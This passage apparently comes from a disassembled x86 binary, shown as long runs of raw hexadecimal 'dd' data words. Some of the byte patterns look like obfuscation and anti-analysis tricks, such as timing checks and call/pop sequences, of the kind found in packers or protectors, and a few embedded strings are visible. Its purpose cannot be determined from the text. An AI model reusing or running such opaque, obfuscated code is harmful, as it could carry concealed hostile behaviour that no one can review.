5ED9BF0Fh, 1C999D8Bh dd 0C6810648h, 5AF4h, 0EE9h, 969CE800h, 0C8284FB4h, 7CE203A9h dd 0B85C8DDCh, 3C22E476h, 0F2ECF081h, 0BD8B3C22h, 6481929h dd 5B52168Bh, 191AC281h, 0DE97CFEh, 6A000000h, 0FA3C9961h dd 12BA58C6h, 0A0E171Dh, 0D196EA81h, 89514605h, 482ED1BDh dd 0C2815906h, 0A1FF1CAh, 0F599D23h, 16890648h, 4A764EBFh dd 2EE8317h, 8B664E4Eh, 850F48D9h, 0FFFFFFB4h, 0CFDBD8Bh dd 14EB0648h, 4 dup(0) dd 8Bh, 40EC858Dh, 85890648h, 6481B8Dh, 4035BD83h, 0F000648h dd 12C84h, 6D85C600h, 56064827h, 0B7632A68h, 24048193h dd 40680A0Fh, 2C21B5FFh, 858D0648h, 6483878h, 8589D0FFh dd 6484029h, 276D85C6h, 68560648h, 5800F396h, 0BC240481h dd 0FF44A7C4h, 482C21B5h, 78858D06h, 0FF064838h, 2D8589D0h dd 6A064840h, 81646804h, 4819FBAh, 458E9C24h, 39858B60h dd 5064840h, 1F4h, 5002E0C1h, 6A240489h, 2D95FF00h, 89064840h dd 48403185h, 0B8D88B06h, 0FFFFFFFFh, 1B8D95FFh, 0C38B0648h dd 1B8D95FFh, 96E90648h, 83000000h, 484035BDh, 850F0006h dd 1, 0BD8B57C3h, 6484031h, 318583ABh, 4064840h, 0BD83C35Fh dd 6484035h, 1850F00h, 0C3000000h, 31AD8360h, 4064840h dd 40319D8Bh, 7B830648h, 850FFFFCh, 26h, 4E8h, 800000h dd 448B5000h, 8B0424h, 4244489h, 0FF006A58h, 2995FF33h dd 61064840h, 26E9C3h, 4E80000h, 0 dd 50000080h, 424448Bh, 4489008Bh, 6A580424h, 0FF33FF00h dd 48402995h, 31AD8306h, 4064840h, 0FFFF9FE9h, 0D3E948FFh dd 7000009h, 6A2AD5Bh, 0B1CB2DD3h, 15DA878Eh, 95CFACDFh dd 0CFB0D81Eh, 0A8D411h, 33FF3B53h, 5A01BFCDh, 0DAFAD7Dh dd 0A3C32191h, 489D599h, 9A8AABCDh, 0BFD3B755h, 1DBCDE1Bh dd 33AD3752h, 5507BDCDh, 17AFAD7Eh, 0B9DE3E91h, 1897D586h dd 8E9DB0D3h, 8BB0DC5Bh, 1DB8C957h, 32FF7A43h, 4107A883h dd 11B6AD68h, 0B7DE3FDEh, 0DB86h, 62h dup(0) dd 7000000h, 0CABAD5Bh, 0B9D831DFh, 0F8AD599h, 969DB8D1h dd 8EB69D16h, 0BBF9B04h, 20AD7552h, 5006A4CCh, 0DB3FF3Ah dd 0B1C231DFh, 5D949CCBh, 859AB0C7h, 9CA7CE5Bh, 40B0DE03h dd 2ADD163Dh, 511BB0C6h, 0DB3AD36h, 0B2CD37DDh, 5D8E9CCBh dd 9A80ADD8h, 82BBD05Bh, 4EA4C918h, 66E97556h, 401BB4D1h dd 43B2FF7Bh, 0A4D937C8h, 128885CBh, 9A8EADD9h, 55h, 47h dup(0) dd 7000000h, 11A5AD5Bh, 0B3C73BD0h, 5D89D299h, 9B80B0CAh dd 9CBFD55Bh, 0BB8D957h, 29EB3B59h, 140CBFD6h, 0DA8F868h dd 0F6CB36D8h, 4DA9B82h, 0D79DAAD1h, 9BADC408h, 64F3D612h dd 23E14B3Ah, 180DA2C2h, 0FA8F83Ah, 0F6C839DEh, 1BDA8182h dd 0D782B0CCh, 80B3D816h, 0FFDC205h, 34AD7F59h, 551CA2C6h dd 1AE6F968h, 0F6DE2DDEh, 1A95879Bh, 0D982BECCh, 61h dup(0) dd 7000000h, 6AAE45Ch, 0A4C33B91h, 98A8099h, 0D9CEBBDBh dd 86B6E95Bh, 1CAD9B04h, 27FF7C58h, 5500F1CEh, 6A4AD69h dd 0BB8C36D4h, 0D939B8Ah, 838EB3CBh, 8EFED91Eh, 3FDDF19h dd 23EF6256h, 4001DCA9h, 0AE6FE3Dh, 0B5C93EDFh, 5D9E909Fh dd 96CFA6DCh, 9DB7EB5Bh, 1FDC802h, 34EE3B45h, 5103B2C2h dd 37E6A37Eh, 0F6DF31D9h, 18969C8Dh, 9980A89Eh, 98FEC95Ch dd 4EB6C918h, 2BF47556h, 1A0DA3CCh, 0E0h dup(0) dd 57000000h, 6D754E4Ch, 734C4C44h, 746F7250h, 3000h, 8 dup(0) dd 69784500h, 74532074h, 73757461h, 25203D20h, 64h, 0 dd 5EE90000h, 6600002Dh, 0FCBC66BAh, 0C08B11B2h, 68F0Fh dd 8D310000h, 648098Dh, 20E9BD83h, 75000648h, 61BD8309h dd 6482Ch, 53501374h, 1B8C08Bh, 8D000000h, 4AAECE9Dh, 5BD3FF06h dd 61BD8358h, 6482Ch, 53501174h, 1B8h, 7F9D8D00h, 0FF064AADh dd 80585BD3h, 810FD8D6h, 16h, 11E9h, 0D0875200h, 8AEF54F3h dd 11533DE2h, 5626B81h, 0CF80E1EEh, 6AC08BD2h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 8572C351h, 9D8B9CAFh, 6482141h, 1A09BD83h, 0F000648h dd 15084h, 60C38000h, 8D896051h, 64808C5h, 1AB19D89h, 5B610648h dd 27E5BD83h, 0F000648h, 13084h, 3860F00h, 0F000000h, 8960D1BFh dd 481EF58Dh, 0E5858B06h, 5064827h, 3E8h, 50ACD280h, 4895EB6h dd 6800F24h, 89000000h, 482EFD95h, 42858D06h, 0E906484Bh dd 0Fh, 0CFB8B469h, 286AC9Ah, 4A469DB8h, 50B439ECh, 0BA82BA66h dd 89240489h, 482F15BDh, 0C58D8906h, 8D064813h, 484B2085h dd 0DED38006h, 24048950h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Dh, 3C35747h, 814D932Ah, 7CAB548Fh, 41BD89F7h dd 0FF06480Ah, 4804D195h, 35950906h, 83064806h, 958B0CC4h dd 6480E6Dh, 4B20858Dh, 0F2800648h, 0E95290E2h, 0Bh, 8F8D61h dd 0D7A00D3Bh, 5A29C4F1h, 0F525050h, 1780h, 12E900h, 50A30000h dd 0D761808Ch, 0A32C2638h, 59E76E71h, 6C64FC31h, 8A0F310Fh dd 6, 310F5250h, 585A585Ah, 6AD4B390h, 51006A02h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 0B19D8B37h, 0FF064808h, 68857495h, 45958B00h, 6106482Dh dd 958B49BAh, 5385C75Dh, 106484Bh, 89000000h, 481DDD9Dh dd 0B9609606h, 1864F6D9h, 0B522BE66h, 870F5061h, 2, 8B9603B2h dd 48210195h, 4B58906h, 0F06484Bh, 0BD83D1B7h, 6481949h dd 69850F01h, 0E9000000h, 13h, 49ACF3A8h, 0E2FB7992h, 4FD60C4h dd 3ADBCCE0h, 835100C5h, 850F05F8h, 48h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 17h, 8FC35747h, 897F0828h dd 4825818Dh, 0B806h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 36B3EEC3h, 23CDBD83h dd 0F000648h, 4D84h, 0ED9D8B00h, 0B806482Bh, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 2FC35343h dd 40BC1E47h, 54944956h, 14E9521Eh, 0E0000000h, 0FA6E9A01h dd 7E4A6820h, 0D83B0DECh, 93FC2648h, 5A9D773Fh, 896021B6h dd 480E498Dh, 0D5858B06h, 6006480Fh, 0B8F38B66h, 109C1F0Ch dd 2C08361h, 0AE9h, 47F07600h, 0B1417EB9h, 89D339A5h, 484AFC85h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h dd 0C3514100h, 0BF0FF71Ah, 0FF00C6D6h, 2830Fh, 0DE8B0000h dd 276D85C6h, 66530648h, 9D8BD78Bh, 6480239h, 0BCAC7E68h dd 8ABA57A2h, 5B4415A0h, 0A6243481h, 665E0DE4h, 958BD38Bh dd 6480EEDh, 2195B5FFh, 0F38A0648h, 831E858Dh, 6A064Bh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 203339C3h, 0E88CB8ABh, 0FF2B97C9h, 8840FD0h, 50000000h dd 0EED9D29h, 895A0648h, 48306185h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 0D2991FE9h dd 8E5D18B0h, 3DBD89h, 0BD830648h, 6480FB1h, 18850F01h dd 0B3000001h, 0BB666128h, 13E9BCAAh, 24000000h, 224E067Eh dd 7EA564E3h, 51489995h, 0C4436431h, 85C65B23h, 648276Dh dd 0ADB58945h, 0E8064829h, 4, 0DA6038C2h, 665096B7h, 448BD38Bh dd 0E8B20424h, 5250008Bh, 310FD68Bh, 5ADF8B66h, 24448958h dd 13E804h, 0DD750000h, 0ED07A31Ah, 53FDA90Ah, 8C97D4D1h dd 59D75859h, 6A585B81h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 16042444h, 43000000h, 9FF6C353h, 0BE81Dh dd 2AA20000h, 6640ACBCh, 66B54E43h, 958B5B6Eh, 6481B6Dh dd 2195B5FFh, 43B70648h, 831E858Dh, 6A064Bh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 2B45C9C3h dd 6C82A419h, 0FFD88B66h, 499D29D0h, 60064806h, 10E8h dd 0B60C9000h, 0A02E48D0h, 2444882Eh, 9ACDEB5Ch, 5E5E57A2h dd 7E9h, 83F79E00h, 0D59DB01h, 89006A61h, 481BE1BDh, 0FD0FF06h dd 68Ch, 3D958B00h, 8306480Eh, 482A1DBDh, 850F0106h, 0BFh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 9CC35040h dd 82F08BB3h, 341FAEC0h, 0D5858BB7h, 8906480Fh, 4814A1B5h dd 76E906h, 0F2800000h, 0D78B5025h, 8B240489h, 48237D9Dh dd 6A146A06h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 0DF35C353h, 2F018589h, 95FF0648h dd 6483061h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ch, 8EC35242h, 564C3747h, 653B587Dh, 58D08B66h, 8E8h dd 0D07FA700h, 0EBBDE01Bh, 3DBD896Ch, 5B064806h, 0F003880h dd 0FFFF8485h, 718501FFh, 0C606480Eh, 61F90100h, 0BD83F58Ah dd 6482039h, 40840F00h, 66000000h, 6A523CBAh, 53006AFFh dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 2D50EA48h, 95145223h, 0C3816637h, 95FF921Eh, 6483061h dd 0C8E9DD8Ah, 66FFFFFFh, 0C7F561BAh, 48203985h, 106h dd 13860F00h, 0E9000000h, 0Eh, 0D19842A9h, 2E05A293h, 0A109449Bh dd 858952E7h, 6484B08h, 2DD9B501h, 8B660648h, 0BB5090D0h dd 92A284Ch, 9E8505Bh, 0 dd 0A527F096h, 595AF29Fh, 0DE957h, 79B40000h, 0C8134DC5h dd 2E5CF9AAh, 5A05740Ch, 8B66905Bh, 60D88BDFh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0DBC35040h, 0A8203A4Ch dd 56AFAA5h, 13E9h, 42E64300h, 778FBABFh, 66D5BAEDh, 4CE7EB0Eh dd 74AA05E6h, 13E9h, 9E9B1800h, 7E35D87Eh, 1E9CF0A5h, 3812D7EBh dd 0E06846DBh, 4B20858Dh, 8B660648h, 0F6090D0h, 582h, 0E296BB00h dd 11E92F6Dh, 0F5000000h, 0E98FCC74h, 79867521h, 434C3257h dd 0E60D79ACh, 8E0F5061h, 2, 0F990D88Bh, 4B10858Dh, 6A0648h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 93AC7C3h, 0D0DB818Fh, 50446EC5h, 5AD48A53h, 6A240489h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h dd 43000000h, 0AEA1C353h, 0FAE2E2Eh, 6660D1B7h, 0F2CFDB81h dd 0D09BD31h, 0FF610648h, 481E5995h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 0FFA73326h dd 409266E1h, 0E8D38166h, 816660E8h, 0E814B9F0h, 0Bh, 63CB4D0Dh dd 0AE7ABDE9h, 668214B1h, 5ECDE5BFh, 688D8D61h, 29064878h dd 4805DDBDh, 74C00B06h, 20858D11h, 5006484Bh, 8589D1FFh dd 6484B3Eh, 85C70AEBh, 6484B3Eh, 0FFFFFFFFh, 63D9D8Bh dd 6A0648h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h dd 52420000h, 34FDD0C3h, 9589605Dh, 6482DA1h, 8D8589h dd 61610648h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Dh, 18C35141h, 6CD27D80h, 1971F497h, 89F86072h, 480AA995h dd 85296106h, 648181Dh, 276D85C6h, 6A4D0648h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 6F0EC350h, 8BEBE437h, 0D0A368DEh, 3BB76202h, 5240481h dd 6A4232A6h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 1D9DC350h, 8DCD04C8h, 0F57B20A3h dd 10E9h, 6630C200h, 0F96735B3h, 24B3A777h, 84D0225Dh dd 75B5FF47h, 66064821h, 8D95D5BAh, 4B831E85h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 7B5C14FBh, 0FE0BA0F1h, 2959958Bh, 0D0FF0648h, 8589DA8Bh dd 64832D5h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Dh, 0F9C35141h, 9D1E36B3h, 0F52A359Ch, 5BDA8082h, 276D85C6h dd 0E8450648h, 9, 27A29551h, 5FC3C647h, 0E38166EBh, 0E85B7DA6h dd 4, 8E726969h, 8B50D58Ah, 66042444h, 8BDE8Bh, 12E85250h dd 68000000h, 8DE684C1h, 0AFE59F4Eh, 0EE229B7Ch, 0FC7EDAC0h dd 11E98Bh, 0E3D80000h, 687AFFDAh, 0D49063A4h, 0C5AB4B84h dd 5A799797h, 0DA8B310Fh, 4489585Ah, 52500424h, 310FF48Ah dd 14E8h, 8629400h, 751E1ED9h, 75BF434Dh, 0BA70D534h, 1DE6D4FAh dd 585A5A83h, 0F606058h, 161D7BFh, 48306DB5h, 8E0F6106h dd 13h, 0EE9h, 0F987A100h, 0AD7AB257h, 3E8B2167h, 0FF9BFACBh dd 482195B5h, 8DD18B06h, 4B831E85h, 0D8C28106h, 0FF258322h dd 57006AD0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h dd 0C3574700h, 0DDB787FFh, 4618F3D4h, 0FA00B2BAh, 699D8B51h dd 29064824h, 4830159Dh, 69858906h, 6A06482Ah, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 0BB27C350h, 555ABF03h, 6AD28Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1D0424h, 57470000h, 905E7AC3h, 92983D99h dd 0E9A4E512h, 0Ah, 0AAA7380Eh, 6E89A91Eh, 8C66976Fh, 6820FD9h dd 89000000h, 4805E185h, 4C1F606h, 243840Fh, 800F0000h dd 14h, 8E8h, 6FD2BE00h, 673E8F0Bh, 2D958938h, 5A064830h dd 157E9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1D04h, 0C3574700h, 5638E797h, 0BCBDE331h, 0B58B40E9h dd 6482279h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 0CCC35040h, 14E59D8Bh, 0C6810648h, 1180h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0D7C35545h, 6F989057h dd 93721791h, 2F19BD83h, 0F000648h, 4A85h, 10800F00h, 0F000000h dd 0A87h, 5E900h, 8A2B0000h, 0E9CC5DF6h, 0ACh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0CDC35646h, 21D9953Eh dd 0FC6051C5h, 618DE680h, 71BD895Ah, 8306481Bh, 840F003Eh dd 74h, 206EBA66h, 0DBB70F60h, 6A146Ah, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 3A468DC3h dd 9B5A6402h, 306195FFh, 85090648h, 6482D15h, 0B8E9F561h dd 6AFFFFFFh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 8FC2C351h, 0B151608Fh, 0E8605EA9h dd 9, 7D067F2Dh, 6AF43A08h, 61615E75h, 106C7h, 0F3810000h dd 1DB9BA2Fh, 4B08BD83h, 0F050648h, 0C085h, 8E95200h, 0F1000000h dd 0D53648C8h, 5A8BF08Ah, 2A69B58Bh, 0B3520648h, 0BCB65BEBh dd 64B9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1804h, 0C3564600h, 0BA2EE2B5h, 11E988h, 0EF570000h dd 0C1849AF7h, 4DBC8188h, 833176A4h, 8023151Bh, 840FE83Eh dd 8, 0DE9D78Bh, 0F5000000h, 0C2057E80h, 3D840Fh, 0F88A0000h dd 495DB746h, 0FFD9850Fh, 0E9F5FFFFh, 3Dh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 8AC35545h, 0CD124A24h dd 757E85DBh, 0E9BD89ADh, 89064826h, 480029B5h, 0FFC38106h dd 89070C35h, 481FB59Dh, 6A5806h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 0BFB4C6C3h, 3DFF93BCh dd 0BF0F9B6Eh, 4DBD83D8h, 6480Bh, 0AF840Fh, 0BF0F0000h dd 9D0360DAh, 6482D09h, 2EDD9D8Bh, 85C60648h, 648276Dh dd 40B2BB54h, 0A4684AA5h, 0B3D6EA28h, 24348157h, 29A49650h dd 9AE38166h, 95B5FF5Dh, 60064821h, 12870Fh, 0DE90000h dd 0E0000000h, 8D2708E0h, 0ADA1CF05h, 30454CDCh, 2B299D8Bh dd 8D610648h, 4B831E85h, 78E0F06h, 50000000h, 0B6D28166h dd 0D0FF5BCAh, 0DE9h, 0EA5CD500h, 0C343F15Ch, 7633474Ah dd 6A2486h, 0DE8h, 62B17400h, 8325BC3h, 71B69F89h, 0BD895BABh dd 6480BB9h, 4DB5FF5Bh, 8906480Bh, 480DD1BDh, 33D0FF06h dd 480D6D9Dh, 0BF0F6106h, 0A585C7D0h, 1064819h, 0F000000h dd 28Fh, 60D18B00h, 0F52F380h, 68Fh, 9950B00h, 0E8064806h dd 4, 80h, 4060BB56h, 505A7E83h, 448B47B6h, 71B60424h dd 860F008Bh, 5, 5B6FEFBBh, 2444891Dh, 5830F04h, 0BB000000h dd 1346087Eh, 52006A58h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 0FFB0B4Bh, 0FF6AD3BFh, 1E75958Bh dd 95FF0648h, 6481E01h, 0E968F780h, 0Dh, 5FD6F179h, 0DD025D44h dd 0E05169B1h dd 8D296153h, 64824F9h, 9E890h, 0A9990000h, 0E15873A2h dd 8BFA8EC9h, 0B6505BDAh, 0FCBA903Ch, 8B1009CAh, 480B7185h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h dd 0C3574700h, 0A980041Dh, 0C00BFE8Ah, 6A840Fh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 0A1ADE4C3h, 607C6623h, 0E9D76405h, 12h, 64971C38h, 7E849999h dd 4B26A166h, 9A64423Dh, 95FFA9B3h, 6482B91h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 68C35141h, 694B317h dd 0B07C96F4h, 0D9BF0F82h, 1B3185C7h, 10648h, 80520000h dd 835AD8F6h, 481959BDh, 840F0006h, 4Eh, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 1Bh, 0FEC35242h, 49A9DE07h dd 0F021E75h, 681h, 698D2900h, 0FF064804h, 48299995h, 0DE806h dd 771C0000h, 930E5EF0h, 0A73C94D1h, 0F951EBEh, 82h, 0BD835A00h dd 6482741h, 1A840F00h, 66000000h, 95FFD78Bh, 64826D9h dd 0B8D0Fh, 6E90000h, 98000000h, 5E396686h, 0D9BD8395h dd 64809h, 41840Fh, 66600000h, 0BD8BFB8Bh, 6480F71h, 0A1BD8361h dd 6480Fh, 29850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 150424h, 52420000h, 0FF1325C3h, 4814CD95h dd 0DAE38106h, 8360BD57h, 4818BDBDh, 840F0006h, 31h, 9800Fh dd 850F0000h, 3, 8943F780h, 482C758Dh, 0A1858106h, 3064828h dd 0F000040h, 8581DEB7h, 6480021h, 4003h, 56D28166h, 0F310FCAh dd 8D8DD9BFh, 6485B96h, 1575B529h, 1890648h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0CEC35343h, 0E0E78FAAh dd 1F342789h, 6840F7Ah, 0B000000h, 482C3195h, 0BAC23306h dd 65A2E638h, 66044189h, 0FFC2EBAh, 50006A31h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 0DC3FF262h dd 9638A766h, 0B99D8918h, 8D064810h, 485BA38Dh, 0F2816606h dd 1897AFEh, 0C23348B3h, 418934B2h, 759D8B04h, 8306480Ah dd 480E8DBDh, 840F0006h, 2Dh, 95FF0CB3h, 6482B31h, 14E8h dd 4CC85500h, 4920E171h, 0F4917A8Eh, 0A7853A9Bh, 6D9920D1h dd 0DF80536Bh, 895A5BFFh, 4800618Dh, 91BD8306h, 1064824h dd 36850Fh, 0F3810000h, 55E9F53Eh, 2BE9h, 299D2900h, 8B06482Fh dd 485C99B5h, 6C706h, 8B000000h, 485AA4B5h, 6C706h, 0CF000000h dd 129EBB66h, 9D8BDA8Bh, 648272Dh, 1B31BD83h, 0F000648h dd 0F384h, 83D38A00h, 483221BDh, 850F0106h, 0D1h, 0FE8h dd 9583EB00h, 0B968050Ch, 6C55BBE9h, 0C72824E0h, 5BFCC380h dd 4AFC8D8Bh, 9D8B0648h, 6480EB1h, 810001C6h, 0E2EBA3F3h dd 0BD896067h, 6481B1Dh, 3823FC68h, 0FE844h, 285F0000h dd 18DB7AF8h, 4A75DD9Eh, 8985BCF9h, 505250D2h, 0E8310F5Ah dd 6, 59CFCD5Eh, 5A5A16C9h, 34815A58h, 38237C24h, 69BD8944h dd 6A06482Ch, 0DE8B53FFh, 195FF5Ah, 6A06481Eh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 0A18C353h, 3DE6F416h, 0B531308Fh, 64805D1h, 9D958B61h dd 306482Bh, 480D919Dh, 4D95FF06h, 51064830h, 25818D89h dd 0F5A0648h, 8Dh, 0FC8D8B00h, 0FC06484Ah, 0B70F01FEh dd 0C5BD83DEh, 106480Eh, 6850Fh, 958B0000h, 6482909h, 958BC08Bh dd 64824D1h, 837ED280h, 4820E9BDh, 9750006h, 2C61BD83h dd 74000648h, 8B53501Ah, 0A1858BC0h, 89064828h, 4828A185h dd 2C9D8D06h, 0FF064AB0h, 83585BD3h, 482C61BDh, 18740006h dd 858B5350h, 64828A1h, 28A18589h, 9D8D0648h, 64AAD1Bh dd 585BD3FFh, 10E8h, 5D7B8800h, 3CA8D13Fh, 1C5A47FBh, 119E8439h dd 3BCB8126h, 5B563332h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 15h, 0F9C35747h, 0CE8D7h, 91B0000h, 751BA34Eh dd 0DF90F438h, 8D014A2Ch, 6482EF5h, 6AC08B5Bh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h dd 7ECCC351h, 0BEA18EFEh, 0A6BB6656h, 0BD835AC6h, 6481B31h dd 35850F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 8B1CC352h, 482E8595h dd 21BD8306h, 6481Bh, 6840Fh, 958B0000h, 6482B55h, 1B31BD83h dd 0F000648h, 3184h, 66576000h, 4F83D981h, 8D8B605Ah, 6482919h dd 6161F08Bh, 32B1BD83h, 0F000648h, 1184h, 6E900h, 0E6750000h dd 11F2349Ch, 239D8509h, 0BD830648h, 6481B31h, 1A840F00h dd 3000000h, 48281D95h, 0BD83F906h, 64832B1h, 6840F00h dd 89000000h, 482375BDh, 31BD8306h, 6481Bh, 17840Fh, 9EB60000h dd 2E6DBD83h, 0F000648h, 884h, 8B23B700h, 4829F595h, 31BD8306h dd 6481Bh, 3C840Fh, 0D88A0000h, 25E9BD83h, 0F000648h, 2D84h dd 0FFD08B00h, 48211D95h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1704h, 0C3514100h, 2F08F8F6h dd 31D1B501h, 0C08B0648h, 83B1F780h, 4820E9BDh, 9750006h dd 2C61BD83h, 74000648h, 8B53501Ah, 21858BC0h, 89064800h dd 48002185h, 939D8D06h, 0FF064AB0h, 83585BD3h, 482C61BDh dd 18740006h, 858B5350h, 6480021h, 218589h, 9D8D0648h dd 64AAD34h, 585BD3FFh, 3EEA8166h, 259D8BA8h, 8B06482Ch dd 48241D9Dh, 0FC08B06h, 9D8BD2BFh, 6482859h, 1B31BD83h dd 0F000648h, 50884h, 4BBB6600h, 0B1BD837Bh, 206480Fh dd 27840Fh, 57600000h, 655B58Bh, 8B5E0648h, 481E218Dh dd 0BD836106h, 6482491h, 0A850F01h, 66000000h, 89FF83BBh dd 482825BDh, 0B1BD8306h, 6481Fh, 97840Fh, 830F0000h, 6 dd 2E959D8Bh, 0CE80648h, 42000000h, 6467AAD6h, 440BB629h dd 0B237B579h, 0F605A43h, 8D8BD6BFh, 6484AFCh, 1FEF1B2h dd 5810Fh, 31BA0000h, 0BB08ECC7h, 6BB89A24h, 0F8781568h dd 81D18A39h, 78952434h, 9D8B39F8h, 648151Dh, 6AFF6Ah dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 8FDDC8C3h, 81668BD0h, 891E87EAh, 481DA1BDh, 0E9C28006h dd 1E0195FFh, 880F0648h, 6, 2B2DB589h, 8B610648h, 953160D9h dd 6482931h, 4AFC8D8Bh, 958B0648h, 6480615h, 9D8B01FEh dd 64824E9h, 9FCB2E68h, 6AE0BB3Fh, 3481124Dh, 9FCBAE24h dd 51006A3Fh, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h dd 0C3514100h, 0DE4A488Ch, 0F7B22B6h, 0D88B66F1h, 6AFF6Ah dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 664EF0C3h, 0D16AF281h, 4D9D8960h, 60064818h, 880Fh dd 81660000h, 61752BE2h, 195FF61h, 6606481Eh, 2A0BD381h dd 58E0Fh, 81660000h, 615E9DF3h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Bh, 5EC35343h, 2A9F8DF1h, 8D694517h dd 4821E5BDh, 61958B06h, 8B064815h dd 6A1C4Fh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h dd 56460000h, 503ADCC3h, 21215D1Dh, 0F06503Dh, 28Ah, 6AD08B00h dd 57006A01h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h dd 0C3574700h, 2FCDBE74h, 68C0Fh, 9D890000h, 6480E65h dd 0D18B5091h, 53006A91h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1A04h, 0C3534300h, 9B63DD94h, 898AE67Bh dd 482009BDh, 99858D06h, 6A064B3Dh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0FFE9C355h dd 0E0BA66D0h, 204F8B5Ah, 1889BD89h, 0BA660648h, 36AE1ABh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 18C35545h dd 2A8C72A6h, 0B99D2B66h, 91064808h, 14E95250h, 74000000h dd 6DF4731Eh, 25277018h, 84467F6Dh, 0A15F59EDh, 0FE15D5Dh dd 68A0F31h, 50000000h, 5A310F52h, 50585A58h, 50006A91h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 42C7652Eh, 0F1DDC296h, 9D8BFD72h, 6480CFDh, 58E0Fh dd 81660000h, 8DDB22F3h, 4B3D9985h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 0B21E254Eh dd 820F573Bh, 8, 258D2952h, 5A064814h, 7E9D0FFh, 4E000000h dd 0AA019016h, 0BD29C7E8h, 64824EDh, 21E5BD8Dh, 6A0648h dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 6EFE5EC3h, 19C59D8Bh, 8A0F0648h, 8, 91B58950h, 5B06481Dh dd 891C4F8Bh, 480A5585h, 0F8016A06h, 0D1D5BB50h, 0C8963A9h dd 7E924h, 353C0000h, 1F3E77CAh, 99858D84h, 6A064B3Dh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 2773C350h, 0D4DFC88Eh, 9958B60h, 8B06482Dh dd 483051BDh, 0D0FF6106h, 68B0Fh, 958B0000h, 6482D79h dd 66204F8Bh, 47B2DB81h, 1E8C381h, 36A2A15h, 1A8D9503h dd 50910648h, 0DE952h, 44450000h, 59268F03h, 36A2EAE2h dd 0FC6C8CFh, 0CCBB6631h, 50585A8Ch, 2800Fh, 0D18B0000h dd 55006A91h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h 